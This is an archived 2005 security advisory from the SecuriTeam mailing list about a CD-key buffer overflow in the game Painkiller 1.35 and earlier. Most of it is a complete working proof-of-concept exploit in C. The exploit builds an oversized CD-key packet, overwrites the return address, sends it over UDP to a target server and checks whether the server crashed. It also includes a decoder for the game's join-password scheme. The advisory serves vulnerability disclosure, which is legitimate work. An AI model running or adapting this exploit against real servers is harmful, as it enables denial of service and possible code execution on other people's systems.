Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Painkiller CD-Key Buffer Overflow

Subject: [NT] Painkiller CD-Key Buffer Overflow
Date: 3 Feb 2005 11:02:52 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Painkiller CD-Key Buffer Overflow
------------------------------------------------------------------------


SUMMARY

 <http://www.peoplecanfly.com> Painkiller is "a FPS game developed by 
People can Fly".

Due to insufficient bounds checking in Painkiller a remote attacker can 
cause the program to crash by supplying an arbitrary long CD-key.

DETAILS

Vulnerable Systems:
 * Painkiller version 1.35 and prior

Immune Systems:
 * Painkiller version 1.61 or newer

The vulnerability is caused by overflowing the buffer that stores the 
Gamespy CD-key hash for the online server-side authorization. This buffer 
is 100 bytes long (the Gamespy CD-key hash is long 72 characters), 
therefore if an attacker uses a longer hash than 100 bytes he can cause 
the overflow of the buffer.

Two limitations exist for exploitation of this bug, the first is that only 
alpha-numeric characters are allowed (1-9, A-Z and a-z), the second is not 
so important since this is an in-game bug (therefore if a server is 
protected by password the attacker must know it).

Exploit:
painkiller_pckpwd.h
/*

Painkiller packet's password encoder/decoder 0.1 - 
http://aluigi.altervista.org/poc/painkkeybof.zip
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: http://aluigi.altervista.org


INTRODUCTION
-===========
When you want to join a password protected game server of Painkiller
(http://www.painkillergame.com) your client sends a packet containing
the packet ID (0x04), your client version, the 72 bytes of the Gamespy
auth key (http://aluigi.altervista.org/papers/gskey-auth.txt) plus a
"strange" text string after it.
This text string is just the password you have used to join and it is
encrypted using the other text string (the server challenge) sent by
the server in its previous packet.
My optimized algorithm is able to decode/encode the password stored in
the packet sent by the client.


HOW TO USE
-=========
The function is an algorithm used for both encoding and decoding
without differences.
It needs only 2 parameters:
- pwd: the client's password stored in the packet
- enc: the server challenge string

Example:
  #include "painkiller_pckpwd.h"

    unsigned char pwd[] = "5mjblOpV8N",
                    enc[] = "k7bEv4cGcw";
    painkiller_pckpwd(pwd, enc);
    printf("Password: %s\n", pwd); // the password is "mypassword"


LICENSE
-======
    Copyright 2004 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 
USA

    http://www.gnu.org/licenses/gpl.txt

*/

void painkiller_pckpwd(unsigned char *pwd, unsigned char *enc) {
    unsigned char buff[64],
                    encbuff[64],
                    *p1,
                    *p2;
    int len,
                    i,
                    cl,
                    dl,
                    esi,
                    edi;

    p1 = pwd;
    while(1) {
        if((*p1 >= '0') && (*p1 <= '9')) {
            *p1 -= 0x30;
        } else if((*p1 >= 'a') && (*p1 <= 'z')) {
            *p1 -= 0x57;
        } else if((*p1 >= 'A') && (*p1 <= '\\')) {
            *p1 -= 0x1d;
        } else {
            break;
        }
        p1++;
    }
    len = p1 - pwd;

    p1 = buff;
    for(i = 0; i < 64; i++) {
        *p1++ = i;
    }

    p1 = enc;
    p2 = encbuff;
    for(i = 0; i < 64; i++) {
        *p2++ = *p1++;
        if(!*p1) p1 = enc;
    }

    p1 = buff;
    p2 = encbuff;
    for(i = esi = 0; i < 64; i++) {
        cl = *p1;
        esi = (*p2 + cl + esi) & 63;
        *p1++ = buff[esi];
        buff[esi] = cl;
        p2++;
    }

    esi = edi = 0;
    p1 = pwd;
    for(i = 0; i < len; i++) {
        esi = (esi + 1) & 63;
        cl = buff[esi];
        edi = (cl + edi) & 63;
        dl = buff[edi];
        buff[esi] = dl;
        buff[edi] = cl;
        *p1++ ^= buff[(dl + cl) & 63];
    }

    p1 = pwd;
    while(len--) {
        if(*p1 <= 9) {
            *p1 += 0x30;
        } else if((*p1 >= 0xa) && (*p1 <= 0x23)) {
            *p1 += 0x57;
        } else {
            *p1 += 0x1d;
        }
        p1++;
    }
}

painkkeybof.c
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "painkiller_pckpwd.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif

#define VER "0.1"
#define BUFFSZ 8192
#define PORT 3455
#define TIMEOUT 3
#define CONN "\xff\xff\xff\xff\x02"
#define JOIN1 "\xff\xff\xff\xff\x04"
#define EIP "AAAA" /* alpha-numeric only! (1 - 9, A - Z and a - z) */

#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, 
sizeof(peer)) \
                      < 0) std_err();
#define REALRECV len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL); \
                    if(len < 0) std_err(); \
                    buff[len] = 0x00;
#define RECV if(timeout(sd) < 0) { \
                        fputs("\nError: socket timeout, no reply 
received\n", stdout); \
                        exit(1); \
                    } \
                    REALRECV;



u_char *show_info(u_char *buff, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct sockaddr_in peer;
    int sd,
            len,
            verlen = 0,
            j,
            join2len;
    u_short port = PORT;
    u_char buff[BUFFSZ + 1],
            password[32],
            server_chall[32],
            *p,
            *gamever = NULL,
            info[] =
                "\xfe\xfd\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
            bof[] =
                
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                EIP,
            *join2[] = {
                "122.304", /* 0 = 1.6 */
                "105.263", /* 1 = 1.3 */
                "105.262", /* 2 = 1.2 */
                "101.258", /* 3 = 1.1 */
                NULL
            };


    setbuf(stdout, NULL);

    fputs("\n"
        "Painkiller <= 1.35 in-game cd-key alpha-numeric buffer-overflow 
"VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: http://aluigi.altervista.org\n";
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%d)]\n"
            "\n"
            " Return address will be overwritten with 0x%08lx.\n"
            " Only alpha-numeric return addresses are allowed\n"
            "\n", argv[0], port, *(u_long *)EIP);
        exit(1);
    }

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argc > 2) port = atoi(argv[2]);

    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    fputs("- request informations:\n", stdout);
    *(u_long *)(info + 3) = ~time(NULL);
    SEND(info, sizeof(info) - 1);
    RECV;
    close(sd);

    gamever = show_info(buff, len);
    if(!gamever) {
        fputs("\nError: no game version in the information reply\n\n", 
stdout);
        exit(1);
    }
    verlen = strlen(gamever) + 1;

    *password = 0x00;

    j = 0;
    join2len = strlen(join2[j]) + 1;
    printf("- try client script version %s\n", join2[j]);

    for(;;) { /* for passwords only */
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        fputs("\n- send connection request packet\n", stdout);
        SEND(CONN, sizeof(CONN) - 1);
        RECV;

        strncpy(server_chall, buff + 5, sizeof(server_chall) - 1);
        server_chall[sizeof(server_chall) - 1] = 0x00;
        printf("- server challenge: %s\n", server_chall);

        p = (u_char *)memcpy(buff, JOIN1, sizeof(JOIN1) - 1) +
            sizeof(JOIN1) - 1;
        p = (u_char *)memcpy(p, gamever, verlen) +
            verlen;
        p = (u_char *)memcpy(p, join2[j], join2len) +
            join2len;

        p = (u_char *)memcpy(p, bof, sizeof(bof)) + /* Gamespy cd-key */
            sizeof(bof); /* plus buffer-overflow */

        if(!j) { /* new 1.6 protocol */
            *p++ = 0x00;
        } else { /* old protocol */
            *(u_long *)p = 0x00000000;
            p += 4;
        }

        len = strlen(password) + 1;
        memcpy(p, password, len);
        painkiller_pckpwd(p, server_chall);
        p += len;

        if(!j) *p++ = 0x01; /* new 1.6 protocol */

        *(u_long *)p = time(NULL);
        p += 4;

        printf("- send the buffer-overflow packet (EIP = 0x%08lx)\n", 
*(u_long *)EIP);
        SEND(buff, p - buff);

        fputs("- wait some seconds...\n", stdout);
        if(timeout(sd) < 0) break;
        REALRECV;

        if(!buff[4]) {
            if(buff[5] == 1) {
                free(gamever);
                gamever = strdup(buff + 6);
                verlen = strlen(gamever) + 1;
                printf("\n- force game version to %s\n", gamever);
                if(buff[6 + verlen] == '?') {
                    if(!join2[++j]) {
                        fputs("\nError: this server uses an unknown client 
script version\n\n", stdout);
                        exit(1);
                    }
                    join2len = strlen(join2[j]) + 1;
                    printf("\n- try client script version %s\n", 
join2[j]);
                }
                close(sd);
                continue;

            } else if(buff[5] == 2) {
                if(!join2[++j]) {
                    fputs("\nError: this server uses an unknown client 
script version\n\n", stdout);
                    exit(1);
                }
                join2len = strlen(join2[j]) + 1;
                printf("\n- try client script version %s\n", join2[j]);
                close(sd);
                continue;

            } else if(buff[5] == 3) {
                fputs("- server is protected by password, insert it:\n ", 
stdout);
                fflush(stdin);
                fgets(password, sizeof(password) - 1, stdin);
                password[strlen(password) - 1] = 0x00;
                close(sd);
                continue;

            } else if(buff[5] == 13) {
                fputs("\n"
                    "- the server is NOT vulnerable, it has replied with 
the error 13:\n"
                    " Challenge response too long!\n", stdout);
                break;
            }
            printf("\nError: %s\n", buff + 6);
            exit(1);
        }

        fputs("- seems the server is not vulnerable since it is not 
crashed yet\n", stdout);
        break;
    }

    fputs("\n- check server:\n", stdout);
    SEND(info, sizeof(info) - 1);
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }
    close(sd);

    return(0);
}

u_char *show_info(u_char *buff, int len) {
    u_char *p1,
            *p2,
            *limit,
            *ver = NULL;
    int nt = 0,
            doit = 0;

    limit = buff + len;
    p1 = buff + 5;
    while(p1 < limit) {
        p2 = strchr(p1, 0x00);
        if(!p2) break;
        *p2 = 0x00;

        if(!nt) {
            if(!*p1) break;
            if(!strcmp(p1, "gamever")) doit = 1;
            printf("%30s: ", p1);
            nt++;
        } else {
            if(doit) {
                ver = strdup(p1);
                doit = 0;
            }
            printf("%s\n", p1);
            nt = 0;
        }
        p1 = p2 + 1;
    }
    fputc('\n', stdout);
    return(ver);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/adv/painkkeybof-adv.txt> 
http://aluigi.altervista.org/adv/painkkeybof-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Painkiller CD-Key Buffer Overflow, SecuriTeam <=